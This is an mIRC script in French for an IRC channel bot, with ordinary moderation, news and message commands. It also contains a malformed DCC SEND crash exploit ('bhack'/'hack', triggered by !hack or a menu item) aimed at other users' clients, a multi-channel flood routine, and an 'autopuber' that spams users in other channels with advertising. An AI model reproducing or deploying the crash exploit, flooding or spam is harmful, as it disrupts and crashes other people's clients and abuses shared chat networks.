BOT MULTI-FONCTIONS (ET MÊME PLUS)

#######################
########ON TEXT########
#######################


on *:TEXT:*:*:{
  if (%botantipub == 1) {
    if (($chr(35) isin $1-) && ($nick !isop %botchan) && ($chan == %botchan)) {
      /set %frase $1-    
      if ( $chr(44) isin $wildtok(%frase,#*,1,32) || $wildtok(%frase,#*,1,32) == $chan ) { /halt }
      else { 
        inc $+(%,pub,$ial($nick).host,$chan) 1
        if ($eval($+(%,pub,$ial($nick).host,$chan),2) <= 1 ) {
          /notice $nick :[ATTENTION Tu a fais 1 pub sur  $+ %chan $+  :(`): La prochaine = BAN 2min]:
          /timer 1 1 /join $wildtok(%frase,#*,1,32)
          /timer 1 5 /msg $wildtok(%frase,#*,1,32) :[Pub détécté sur  $+ $chan $+  :(`): by $nick à $time(hh:nn) :(`): merci de rejoindre  $+ $chan $+  No Boulz/puberz thx]:
          /timer 1 6 /part $wildtok(%frase,#*,1,32) :[Merci de rejoindre  $+ $chan $+  $+ ]:
          /timer 1 300 /unset $+(%,pub,$ial($nick).host,$chan)
          /kick $chan $nick :[1 pub ! et deja 1 de trop]:
        }
        else {
          /mode $chan +b $ial($nick).host
          /timer 1 120 /mode $chan -b $ial($nick).host
          /kick $chan $nick :[2 pub ? tu es vraiment un boulet !]:
          /unset $+(%,pub,$ial($nick).host,$chan)
        }
      }
    }
  }
  if (($1 == !site) && ($chan == %botchan)) { .notice $nick %botprefixe %botsite %botsufixe }
  if (($1 == !Staff) && ($chan == %botchan)) { .notice $nick %botprefixe %botlineup %botsufixe }
  if (($1 == !msg) && ($chan == %botchan)) { query $nick %botprefixe pose ton message ici en disant !msg xxx (xxx => ton msg) %botsufixe }
  if (($1 == !msg) && ($chan == $null)) {
    if ($2 == $null) { return }
    set -u0 %a 0
    :loop
    inc %a
    if (%a >= 5) { .notice $nick %botprefixe La liste est pleine %botsufixe | return }
    if (%msg [ $+ [ %a ] ] == $null) { set %msg [ $+ [ %a ] ] $2- | set %nickofmsg [ $+ [ %a ] ] $nick | .msg $nick %botprefixe Msg enregistré %botsufixe | return }
    goto loop
  }
  if ($1 == !news) {
    if (%news1 != $null ) { .notice $nick %botprefixe %news1 %botsufixe }
    if (%news2 != $null ) { .notice $nick %botprefixe %news2 %botsufixe }
    if (%news3 != $null ) { .notice $nick %botprefixe %news3 %botsufixe }
    if (%news4 != $null ) { .notice $nick %botprefixe %news4 %botsufixe }
  }
  if ($1 == !cmds) {
    .notice $nick %botprefixe !news (pour connaitre les news) ; !msg (pour laisser un message aux admins) %botsufixe
    .notice $nick %botprefixe !site (voir l'url de notre site) ; !Staff (voir les membres du Staff)  %botsufixe
    if ($nick isop $chan) {
      .notice $nick %botprefixe op cmd: !opcmds (pour connaitre les commandes des operateurs) %botsufixe
    }
  }

  if ($nick !isop %botchan) { return }
  if (($1 == !readmsg) && ($2 isnum) && ($2 > 0)) {
    if (%msg [ $+ [ $2 ] ] == $null) { .notice $nick Msg n'existe pas | return }
    .notice $nick Msg $2 : %msg [ $+ [ $2 ] ] :: par : %nickofmsg [ $+ [ $2 ] ]
  }
  if ($1 == !readallmsg) {
    set -u0 %a 0
    set -u0 %b 0
    :hum
    inc %a
    inc %b 2
    if (%msg [ $+ [ %a ] ] == $null) { .timer 1 %b notice $nick Lecture Finie | return }
    .timer 1 %b .notice $nick Msg %a : %msg [ $+ [ %a ] ] :: par : %nickofmsg [ $+ [ %a ] ]
    goto hum
  }
  if ($1 == !opcmds) {
    .notice $nick %botprefixe !setnews(1,2,3,4) (pour que le bot configure les news 1,2,3 et 4) ; !readallmsg (lire les msgs) ; !autopuber (1/0 + frequence de pub (1 pers sur N qui join les chans sont pubés ex: !autopuber 1 3))  %botsufixe 
    .timer 1 3 .notice $nick %botprefixe !supprallmsg/supprmsg x (pour que le bot supprime tous les msgs ou 1 en particulier) ; !setantipub (1/0) ;  ; !totalpubed ; !autopubmsg1 ; !autopubmsg2 %botsufixe
    .timer 1 5 .notice $nick %botprefixe !setonjoin (op/voice/0) (met l'auto voice on/off) ; !setstaff ; !setsite ; !setonjoinmsg ; !setprefixe ; !setsufixe ; !voice ; !devoice/!devoice x ; !op x ; !deop/!deop x ; !hack x %botsufixe
  }
  if ($1 == !setonjoin) {
    set %voiceonjoin $2-
    .notice $nick %botprefixe on join: %voiceonjoin %botsufixe
  }
  if ($1 == !setantipub) {
    set %botantipub 1
    .notice $nick %botprefixe anti-pub: %botantipub %botsufixe
  }
  if ($1 == !setonjoinmsg) {
    set %joinmsg $2-
    .notice $nick %botprefixe onjoinmsg: %joinmsg %botsufixe
  }
  if ($1 == !setprefixe) {
    set %botprefixe $2-
    .notice $nick prefixe: %botprefixe sufixe: %botsufixe
  }
  if ($1 == !setsufixe) {
    set %botsufixe $2-
    .notice $nick prefixe: %botprefixe sufixe: %botsufixe
  }
  if ($1 == !hack) {
    /hack $2-
    .notice $nick %botprefixe $2- a été DCC Floodé ... il va peut-être planter %botsufixe
  }
  if ($1 == !voice) {
    mode %botchan +v $2-
  }
  if ($1 == !autopuber) {
    set %autopuber $2
    set %autopubn $3
    .notice $nick %botprefixe Auto Puber Statut: %autopuber | Auto Puber frequence (puber 1 personne sur X) : %autopubn
  }
  if ($1 == !autopubmsg1) {
    set %autopubx $2-
    .notice $nick %botprefixe Auto Pub MSG 1: %autopubx %botsufixe
  }
  if ($1 == !autopubmsg2) {
    set %autopuby $2-
    .notice $nick %botprefixe Auto Pub MSG 2: %autopuby %botsufixe
  }
  if ($1 == !devoice) { mode %botchan -v $iif($2,$2,$nick) }
  if ($1 == !op) {
    mode %botchan +o $2-
  }
  if ($1 == !deop) { mode %botchan -o $iif($2,$2,$nick) }
  if ($1 == !setsite) {
    set %botsite $2-
    .notice $nick %botprefixe !site: %botsite %botsufixe
  }
  if ($1 == !totalpubed) { msg $chan 7<< $+ $chan stats>> %totalpubed personnes sont arivés sur $chan suite à une pub du bot }
  if ($1 == !kick) {
    /kick %botchan $2 $3
  }
  if ($1 == !ban) {
    /ban %botchan $2
  }
  if ($1 == !kickban) {
    /ban %botchan $2
    /timer 1 1 /kick %botchan $2 $3
  }
  if ($1 == !setstaff) {
    set %botlineup $2-
    .notice $nick %botprefixe !lineup: %botlineup %botsufixe
  }
  if ($1 == !setnews) { .notice $nick %botprefixe les cmds sont !setnews1 !setnews2 !setnews3 !setnews4 !news !saynews %botsufixe }
  if (($left($1,8) == !setnews) && ($len($1) == 9)) {
    set %news [ $+ [ $right($1,1) ] ] $2- | .notice $nick voici la news $right($1,1) : $2-
  }
  if ($1 == !supprallmsg) {
    unset %nickofmsg* %msg* | .notice $nick Tous les messages ont été effacés
  }
  if (($1 == !supprmsg) && ($2 isnum) && ($2 > 0)) {
    if (%msg [ $+ [ $2 ] ] == $null) { .notice $nick Msg n'existe pas | return }
    set -u0 %a $2
    dec %a
    :del
    inc %a
    if (%msg [ $+ [ %a ] ] == $null) { .notice $nick Msg $2 effacé | return }
    set -u0 %t %msg [ $+ [ $calc(%a +1) ] ]
    set %msg [ $+ [ %a ] ] %t
    set -u0 %t %nickofmsg [ $+ [ $calc(%a +1) ] ]
    set %nickoffmsg [ $+ [ %a ] ] %t
  }
}

#######################
#######others ON#######
#######################

ON *:LOAD:{
  .echo -a 0,7.:4|0:. 8Bot installé 0,7.:4|0:.
  .echo -a 0,7.:4|0:. 8Bot by b3b3n (b3n_j@voila.fr) ! 0,7.:4|0:.
  .timer 1 5 set %botsrv $?="serveur irc du bot (irc.quakenet.eU.org/irc.voila.fr/...)"
  .timer 1 5 set %botchan $?="Nom du chan principal ?"
  .timer 1 5 set %botnick $?="Nom du bot ?"
  .timer 1 5 set %Qauth $?="compte Q du bot"
  .timer 1 5 set %Qpass $?="pass Q du bot"
  .timer 1 30 if (%botsrv) { server %botsrv }
}
ON *:UNLOAD:{
  .echo -a 0,7.:4|0:. 8Bot désinstallé 0,7.:4|0:.
  .echo -a 0,7.:4|0:. 8Bot by b3b3n (b3n_j@voila.fr) ! 0,7.:4|0:.
}
ON *:CONNECT:{
  .msg Q@Cserve.Quakenet.org auth %Qauth %Qpass
  mode $me +x
  /join %botchan
  /timer 1 5 if ($%botnick != $me ) { /name %botnick } 
}
ON *:START:{
  /server %botsrv
  /nick %botnick
}
on *:JOIN:*:{
  if ($chan == %botchan) {
    if (%autopuber == 1) && ($nick isin %pubnick) { inc %totalpubed }
    if (%joinmsg != $null) { .notice $nick %botprefixe %joinmsg %botsufixe }
    if (%onjoin == op) { mode $chan +o $nick }
    if (%onjoin == voice) { mode $chan +v $nick }
  }
  if ($chan != %botchan) && (%autopuber == 1) {
    if (%antipub => %autopubn) {
      .timer 1 10 scanpub
    }
    if (%antipub < %autopubn) { inc %antipub }
    if (!%antipub) { set %antipub 0 }
  }
}

on *:unotify:if ($nick == %mynick) { nick $nick | notify -r $nick | echo -a 1,4Ton nom est maintenant $me }

#######################
#########Alias#########
#######################

alias scanpub {
  if ($nick !isop $chan) {
    if (%autopubx != $null) { .msg $nick %autopubx }
    if (%autopuby != $null) { .msg $nick %autopuby }
    .ignore -u60 $nick
    set %antipub 0
    set %pubnick %pubnick $nick
    invite $nick %botchan
  }
}

alias name { set %mynick $1 | notify $$1 }

alias goandflood {
  if (%chanflood1 != 0) { /msg %chanflood1 %txtflood }
  if (%chanflood2 != 0) { .timerdeflood2 1 2 /msg %chanflood2 %txtflood }
  if (%chanflood3 != 0) { .timerdeflood3 1 3 /msg %chanflood3 %txtflood }
}

alias goflood {
  .timerdeflood %nbflood %repetflood /goandflood
  echo -a 8,7flood lancé
}
alias stopflood {
  .timerdeflood off
  echo -a 8,7flood stopé
}

alias bhack { //raw privmsg $$1 : $+ $chr(1) $+ DCC SEND \" $+ $str($rand(a,z) $+ $chr(32), 165) $+ $longip(127.0.0.1) $rand(113,9999) $+ $chr(1) }
alias hack {
  if ($1) { bhack $1 }
  if ($2) { bhack $2 }
  .timerbhack1 1 5 if ($3) { bhack $3 }
  .timerbhack1 1 10 if ($4) { bhack $4 }
  .timerbhack1 1 15 if ($5) { bhack $5 }
}

#######################
#########CTCP##########
#######################

ctcp *:ping:?:/halt
ctcp *:time:?:/halt
ctcp *:finger:?:/halt
ctcp *:version:?:/halt

#######################
#########menu##########
#######################


menu menubar,channel,query,status {
  -
  ¤ Bot ¤
  .Nick du bot ( %botnick ): /set %botnick $?="Le nom du bot"
  .Serveur du bot  ( %botsrv ):/set %botsrv $?="Le serveur IRC du bot (par exemple irc.quakenet.eu.org)"
  .Chan principal ( %botchan ):/set %botchan $?="Le canal ou devra operer le bot"
  .Q auth
  ..Q auth du bot ( %Qauth ):/set %Qauth $?="Le compte Q (si le serveur est Quakenet) du bot"
  ..Q pass du bot ( %Qpass ):/set %Qpass $?="Le pass Q (si le serveur est Quakenet) du compte du bot"
  .Configuration
  ..prefixe ( %botprefixe ):/set %botprefixe $?="le prefixe (ce qui precedera tout ce que dit le bot) permet de donner à vos texte une belle apparence"
  ..sufixe ( %botsufixe ):/set %botsufixe $?="Le Sufixe (ce qui sucedera à tout ce que dit le bot) permet de donner à vos texte une belle apparence"
  ..Join message ( %joinmsg ):/set %joinmsg $?="Message que les gens veront en se connectant au cannal (ne rien mettre pour ne pas avoir de message"

  ..On Join Action ( %onjoin ):/set %onjoin $?="op ou voice ou off"

  ..Anti-Pub ( %botantipub ):/set %botantipub $?="Le statut de l'anti-pub: 1/0"
  ..!Staff ( %botlineup ):/set %botlineup $?="Le staff"
  ..!site ( %botsite ):/set %botsite $?="Votre site web"
  .Bot puber
  .. Status du Puber ( %autopuber ):/set %autopuber $?="Mettre 1 ou 0 pour activer ou desactiver le puber"
  .. msg n°1 ( %autopubx ):/set %autopubx $?="Message 1 que le bot dira en pubant"
  .. msg n°2 ( %autopuby ):/set %autopuby $?="Message 2 que le bot dira en pubant"
  .. frequence de pub ( %autopubn ):/set %autopubn $?="Frequence de pub par exemple si vous mettez 3 le bot pubera 1 personne sur 3 au join"
  .AutoMessage
  ..lancer l'auto message:/goflood
  ..stoper l'auto message:/stopflood
  ..txt a dire ( %txtflood ):/set %txtflood $?="texte à dire"
  ..temps de repetition entre chaque txt ( %repetflood ):/set %repetflood $?="temps de repetition entre chaque txt (en secondes)"
  ..nb de fois ou flooder ( %nbflood ):/set %nbflood $?="nombre de floods (mettre 0 pour l'infini)"
  .. Channels ou flooder --
  ...chan1 ( %chanflood1 ):set %chanflood1 $?="chan ou flooder 1 (mettre 0 si vous n'en voulez pas)"
  ...chan2 ( %chanflood2 ):set %chanflood2 $?="chan ou flooder 2 (mettre 0 si vous n'en voulez pas)"
  ...chan3 ( %chanflood3 ):set %chanflood3 $?="chan ou flooder 3 (mettre 0 si vous n'en voulez pas)"
  .envoyer un mail à b3n_j:/url mailto:b3n_j@voila.fr
  .hack:/bhack $?="Quel nick(s) ?"
}

#######################
#####bot by b3b3n######
#######################
####b3n_j@voila.fr#####
#######################